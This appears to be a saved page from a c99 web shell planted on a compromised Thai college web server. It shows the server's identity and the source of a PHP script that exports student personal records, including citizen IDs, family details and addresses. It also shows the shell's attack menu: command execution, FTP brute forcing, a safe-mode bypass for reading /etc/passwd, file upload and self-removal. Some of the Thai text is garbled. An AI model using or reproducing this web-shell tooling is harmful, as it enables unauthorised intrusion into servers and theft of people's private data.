!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis-bcnsurin-OK/application/_views/eregis/   drwxr-xr-x
Free 49.38 GB of 127.8 GB (38.64%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_ris.php (13.07 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
ini_set("memory_limit", "128M");
header('Content-type: application/xls');
header('Content-Disposition: attachment; filename="ris.xls"');

function checkSst($sst) {
    if($sst=='1')
        $sst = 'аёЎаёµаёЉаёµаё§аёґаё•аё­аёўаё№а№€';
    else if($sst=='2')
        $sst = 'หย่าร้าง';
    else if($sst=='3')
        $sst = 'аё•аёІаёў';
    else
        $sst = '-';
    return $sst;
}
?>
<table width="100%" align="center">
    <tr>
        <td colspan="3" height="22" align="center"><font size="3"><b>รายชื่อสถานะนักศึกษาตามหลักสูตร</b></font></td>
    </tr>
    <tr>
        <td colspan="3" height="22"></td>
    </tr>
    <tr>
        <td colspan="3" height="22"><font size="2"><b>หลักสูตร</b> <?php echo $qu_cur->curName;?></font></td>
    </tr>
    <tr>
        <td colspan="3"><table border="1" cellspacing="0" cellpadding="0" bordercolor="#000000" style="border-collapse: collapse" align="center">
            <tr>
                <td rowspan="2" align="center"><font size="2"><b>аё—аёµа№€</b></font></td>
                <td rowspan="2" align="center"><font size="2"><b>аёЈаё«аё±аёЄаё™аё±аёЃаёЁаё¶аёЃаё©аёІ</b></font></td>
                <td rowspan="2" align="center"><font size="2"><b>คำนำหน้าชื่อ</b></font></td>
                <td rowspan="2" align="center"><font size="2"><b>аёЉаё·а№€аё­</b></font></td>
                <td rowspan="2" align="center"><font size="2"><b>นามสกุล</b></font></td>
                <td rowspan="2" align="center"><font size="2"><b>ชั้นปี</b></font></td>
                <td rowspan="2" align="center"><font size="2"><b>аёЄаё–аёІаё™аё°аё™аё±аёЃаёЁаё¶аёЃаё©аёІ</b></font></td>
                <td rowspan="2" align="center"><font size="2"><b>เจ้าของทุน</b></font></td>
                <td rowspan="2" align="center"><font size="2"><b>аё€аё±аё‡аё«аё§аё±аё”</b></font></td>
                <td rowspan="2" align="center"><font size="2"><b>สถานะก่อนเข้าเรียน</b></font></td>
                <td rowspan="2" align="center"><font size="2"><b>аё›аёЈаё°а№Ђаё аё—аё—аёёаё™</b></font></td>
<?php
                set_time_limit(0);
                
                $fieldNames_settings = array(
                array ('$row->prefixNameEng', 'คำนำหน้าชื่อ (аё­аё±аё‡аёЃаё¤аё©)', 1),
                array ('$row->stdNameE','аёЉаё·а№€аё­ (аё­аё±аё‡аёЃаё¤аё©)', 1),
                array ('$row->stdSurnameE','นามสกุล (аё­аё±аё‡аёЃаё¤аё©)', 1),
                array ('$row->stdGPA','GPA', 1),
                array ('$row->sdtCitizenId','เลขที่บัตรประจำตัวประชาชน', 1),
                array ('$row->sdtSex','а№ЂаёћаёЁ', 1),
                array ('$row->nationName','аёЄаё±аёЌаёЉаёІаё•аёґ', 1),
                array ('$row->religionName','аёЁаёІаёЄаё™аёІ', 1),
                array ('$row->sdtBirthDate','аё§аё±аё™а№ЂаёЃаёґаё”', 1),
                array ('age','аё­аёІаёўаёё', 1),
                array ('$row->sdtPrvIdBirth','аё€аё±аё‡аё«аё§аё±аё”аё—аёµа№€а№ЂаёЃаёґаё”', 1),
                array ('$row->sdtFatherName','аёЉаё·а№€аё­-สกุลบิดา', 1),
                array ('$row->sdtFatherOccupation','аё­аёІаёЉаёµаёћаёљаёґаё”аёІ', 1),
                array ('$row->sdtFatherStatus','аёЄаё–аёІаё™аё аёІаёћаёљаёґаё”аёІ', 1),
                array ('$row->sdtMotherName','аёЉаё·а№€аё­-สกุลมารดา', 1),
                array ('$row->sdtMotherOccupation','аё­аёІаёЉаёµаёћаёЎаёІаёЈаё”аёІ', 1),
                array ('$row->sdtMotherStatus','аёЄаё–аёІаё™аё аёІаёћаёЎаёІаёЈаё”аёІ', 1),
                array ('$row->sdtParentName','аёЉаё·а№€аё­-สกุลผู้ปกครอง', 1),
                array ('$row->sdtParentRelationship','ความสัมพันธ์กับนักศึกษา', 1),
                array ('$row->sdtParentOccupation','อาชีพผู้ปกครอง', 1),
                array ('$row->sdtParentIncome','รายได้ผู้ปกครอง', 1),
                array ('$oSb->sdtContactName','аёЉаё·а№€аё­-สกุลผู้ที่สามารถติดต่อได้', 1),
                array ('$row->edgName','วุฒิการศึกษาก่อนรับเข้า', 1),
                array ('$row->sdtContactAddr','ที่อยู่ผู้ปกครองที่สามารถติดต่อได้', 6),
                array ('$row->sdtHomeAddr','ที่อยู่นักศึกษาตามภูมิลำเนา', 6),
                array ('$row->sdtCurrentAddr','аё—аёµа№€аё­аёўаё№а№€аё›аё±аё€аё€аёёаёљаё±аё™аё™аё±аёЃаёЁаё¶аёЃаё©аёІ', 6),
                array ('$row->sdtWorkAddr','аё—аёµа№€аё­аёўаё№а№€аё—аёµа№€аё—аёіаё‡аёІаё™ (а№ѓаё™аёЃаёЈаё“аёµаё—аёµа№€аё—аёіаё‡аёІаё™аё­аёўаё№а№€)', 6),
                array ('$row->sdtFatherAddr','аё—аёµа№€аё­аёўаё№а№€аёљаёґаё”аёІ', 6),
                array ('$row->sdtMotherAddr','аё—аёµа№€аё­аёўаё№а№€аёЎаёІаёЈаё”аёІ', 6),
                array ('$row->sdtGraduateAddr','ที่อยู่หลังเรียนจบ', 6),
                array ('$row->sdtBloodGroup','หมู่เลือด', 1)
                );

                $k=0;
                foreach($fieldNames as $val) {
                    if($val) {
?>
                <td rowspan="<?php echo $fieldNames_settings[$k][2]==1 ? "2" : "1";?>" colspan="<?php echo $fieldNames_settings[$k][2];?>" align="center"><font size="2"><b><?php echo $fieldNames_settings[$k][1];?></b></font></td>
<?php
                    }
                    $k++;
                }
?>
                <td align="center"><font size="2"><b>аё«аёЎаёІаёўа№Ђаё«аё•аёё</b></font></td>
            </tr>

            <tr>
<?php
            $k=0;
            foreach($fieldNames as $val) {
                if($val) {
                    if($fieldNames_settings[$k][2]>1) {
?>

                <td align="center"><font size="2"><b>аё—аёµа№€аё­аёўаё№а№€</font></td>
                <td align="center"><font size="2"><b>ตำบล</font></td>
                <td align="center"><font size="2"><b>аё­аёіа№Ђаё аё­</font></td>
                <td align="center"><font size="2"><b>аё€аё±аё‡аё«аё§аё±аё”</font></td>
                <td align="center"><font size="2"><b>รหัสไปรษณีย์</font></td>
                <td align="center"><font size="2"><b>เบอร์โทรศัพท์</font></td>
<?php
                    }
                }
                $k++;
            }
?>
            </tr>
<?php
        $i = 0;
        if($rs_std->num_rows()) {
            foreach($rs_std->result() as $row) {
?>
            <tr>
                <td align="center"><font size="2"><?php echo $i+1;?></font></td>
                <td align="center"><font size="2"><?=$row->stdCode;?></font></td>
                <td><font size="2"><?=$row->prefixName;?></font></td>
                <td><font size="2"><?=$row->stdName;?></font></td>
                <td><font size="2"><?=$row->stdSurname;?></font></td>
                <td align="center"><font size="2"><?=$row->stdSyId;?></font></td>
                <td align="center"><font size="2"><?=$row->sstName;?></font></td>
                <td><font size="2"><?=$row->soName;?></font></td>
                <td><font size="2"><?php echo $row->prvNameSo;?></font></td>
                <td><font size="2"><?=$row->paName;?></font></td>
                <td><font size="2"><?php echo $row->etName;?></font></td>
<?php
                foreach($fieldNames as $val) {
                    if($val) {
                        $chkStr = "";
                        $str = $val;
                        eval("\$str = \"$str\";");
                        
                        switch($val){
                            case '$row->stdGPA' : 
                                $str = number_format($row->stdGPA, 2);
                                break;
                            case '$row->sdtSex' :
                                $str = ($str=='M') ? 'аёЉаёІаёў' : (($str=='F') ? 'аё«аёЌаёґаё‡' : '');
                                break;
                            case '$row->sdtBirthDate' :
                                if ($str != "0000-00-00"){
                                    $str = abbreDate2($str);
                                }else $str = "";
                                break;
                            case 'age' :
                                if ($row->sdtBirthDate != "0000-00-00") {
                                    list($yy, $mm, $dd) = preg_split('[-]', $row->sdtBirthDate);
                                    $str = getNowYear() - $yy;
                                } else $str = "";
                                break;
                            case '$row->sdtPrvIdBirth' :
                                $prv->provinceId = $row->sdtPrvIdBirth;
                                $qu_prv = $prv->get_by_key();
                                $str = ($qu_prv->num_rows()) ? $qu_prv->row()->provinceName : "";
                                break;
                            case '$row->sdtFatherStatus' :
                                $str = checkSst($str);
                                break;
                            case '$row->sdtMotherStatus' :
                                $str = checkSst($str);
                                break;
                            case '$row->sdtFatherName' :
                                $str = $row->sdtFatherName.' '.$row->sdtFatherSurname;
                                break;
                            case '$row->sdtMotherName' :
                                $str = $row->sdtMotherName.' '.$row->sdtMotherSurname;
                                break;
                            case '$row->sdtParentName' :
                                $pf->prefixId = $row->sdtPfIdParent;
                                $qu_pf = $pf->get_by_key();
                                $str = ($qu_pf->num_rows()) ? $qu_pf->row()->prefixName.$row->sdtParentName.' '.$row->sdtParentSurname : $row->sdtParentName.' '.$row->sdtParentSurname;
                                break;
                            case '$row->sdtContactAddr' :
                                $contactAddr = $sdt->qryAddrOfContactJoinDtApPrv($row->stdId);
                                $chkStr = 1;
?>
                                <td><font size="2">=T("<?php echo $contactAddr->row()->sdtContactAddr;?>")</font></td>
                                <td><font size="2">=T("<?php echo $contactAddr->row()->dtNameContact;?>")</font></td>
                                <td><font size="2">=T("<?php echo $contactAddr->row()->apNameContact;?>")</font></td>
                                <td><font size="2">=T("<?php echo $contactAddr->row()->prvNameContact;?>")</font></td>
                                <td><font size="2">=T("<?php echo $contactAddr->row()->sdtContactPostCode;?>")</font></td>
                                <td><font size="2">=T("<?php echo $contactAddr->row()->sdtContactPhoneNo;?>")</font></td>
<?php
                                break;
                            case '$row->sdtHomeAddr' :
                                $homeAddr = $sdt->qryAddrOfHomeJoinDtApPrv($row->stdId);
                                $chkStr = 1;
?>
                                <td><font size="2">=T("<?php echo $homeAddr->row()->sdtHomeAddr;?>")</font></td>
                                <td><font size="2">=T("<?php echo $homeAddr->row()->dtNameHome;?>")</font></td>
                                <td><font size="2">=T("<?php echo $homeAddr->row()->apNameHome;?>")</font></td>
                                <td><font size="2">=T("<?php echo $homeAddr->row()->prvNameHome;?>")</font></td>
                                <td><font size="2">=T("<?php echo $homeAddr->row()->sdtHomePostCode;?>")</font></td>
                                <td><font size="2">=T("<?php echo $homeAddr->row()->sdtHomePhoneNo;?>")</font></td>
<?php
                                break;
                            case '$row->sdtCurrentAddr' :
                                $curAddr = $sdt->qryAddrOfCurrentJoinDtApPrv($row->stdId);
                                $chkStr = 1;
?>
                                <td><font size="2">=T("<?php echo $curAddr->row()->sdtCurrentAddr;?>")</font></td>
                                <td><font size="2">=T("<?php echo $curAddr->row()->dtNameCurrent;?>")</font></td>
                                <td><font size="2">=T("<?php echo $curAddr->row()->apNameCurrent;?>")</font></td>
                                <td><font size="2">=T("<?php echo $curAddr->row()->prvNameCurrent;?>")</font></td>
                                <td><font size="2">=T("<?php echo $curAddr->row()->sdtCurrentPostCode;?>")</font></td>
                                <td><font size="2">=T("<?php echo $curAddr->row()->sdtCurrentPhoneNo;?>")</font></td>
<?php
                                break;
                            case '$row->sdtWorkAddr' :
                                $workAddr = $sdt->qryAddrOfWorkJoinDtApPrv($row->stdId);
                                $chkStr = 1;
?>
                                <td><font size="2">=T("<?php echo $workAddr->row()->sdtWorkAddr;?>")</font></td>
                                <td><font size="2">=T("<?php echo $workAddr->row()->dtNameWork;?>")</font></td>
                                <td><font size="2">=T("<?php echo $workAddr->row()->apNameWork;?>")</font></td>
                                <td><font size="2">=T("<?php echo $workAddr->row()->prvNameWork;?>")</font></td>
                                <td><font size="2">=T("<?php echo $workAddr->row()->sdtWorkPostCode;?>")</font></td>
                                <td><font size="2">=T("<?php echo $workAddr->row()->sdtWorkPhoneNo;?>")</font></td>
<?php
                                break;
                            case '$row->sdtFatherAddr' :
                                $fatherAddr = $sdt->qryAddrOfFatherJoinDtApPrv($row->stdId);
                                $chkStr = 1;
?>
                                <td><font size="2">=T("<?php echo $fatherAddr->row()->sdtFatherAddr;?>")</font></td>
                                <td><font size="2">=T("<?php echo $fatherAddr->row()->dtNameFather;?>")</font></td>
                                <td><font size="2">=T("<?php echo $fatherAddr->row()->apNameFather;?>")</font></td>
                                <td><font size="2">=T("<?php echo $fatherAddr->row()->prvNameFather;?>")</font></td>
                                <td><font size="2">=T("<?php echo $fatherAddr->row()->sdtFatherPostCode;?>")</font></td>
                                <td><font size="2">=T("<?php echo $fatherAddr->row()->sdtFatherPhoneNo;?>")</font></td>
<?php
                                break;
                            case '$row->sdtMotherAddr' :
                                $motherAddr = $sdt->qryAddrOfMotherJoinDtApPrv($row->stdId);
                                $chkStr = 1;
?>
                                <td><font size="2">=T("<?php echo $motherAddr->row()->sdtMotherAddr;?>")</font></td>
                                <td><font size="2">=T("<?php echo $motherAddr->row()->dtNameMother;?>")</font></td>
                                <td><font size="2">=T("<?php echo $motherAddr->row()->apNameMother;?>")</font></td>
                                <td><font size="2">=T("<?php echo $motherAddr->row()->prvNameMother;?>")</font></td>
                                <td><font size="2">=T("<?php echo $motherAddr->row()->sdtMotherPostCode;?>")</font></td>
                                <td><font size="2">=T("<?php echo $motherAddr->row()->sdtMotherPhoneNo;?>")</font></td>
<?php
                                break;
                            case '$row->sdtGraduateAddr' :
                                $graduateAddr = $sdt->qryAddrOfGraduateJoinDtApPrv($row->stdId);
                                $chkStr = 1;
?>
                                <td><font size="2">=T("<?php echo $graduateAddr->row()->sdtGraduateAddr;?>")</font></td>
                                <td><font size="2">=T("<?php echo $graduateAddr->row()->dtNameGrad;?>")</font></td>
                                <td><font size="2">=T("<?php echo $graduateAddr->row()->apNameGrad;?>")</font></td>
                                <td><font size="2">=T("<?php echo $graduateAddr->row()->prvNameGrad;?>")</font></td>
                                <td><font size="2">=T("<?php echo $graduateAddr->row()->sdtGraduatePostCode;?>")</font></td>
                                <td><font size="2">=T("<?php echo $graduateAddr->row()->sdtGraduatePhoneNo;?>")</font></td>
<?php
                                break;
                        }

            if($chkStr!=1) {
?>
                <td><font size="2">=T("<?php echo $str;?>")</font></td>
<?php
                        }
                    }
}
?>
                <td></td>
            </tr>
<?php
                $i++;
            }
        }
            
            set_time_limit(30);
?>
        </table></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd
Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 
:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0204 ]--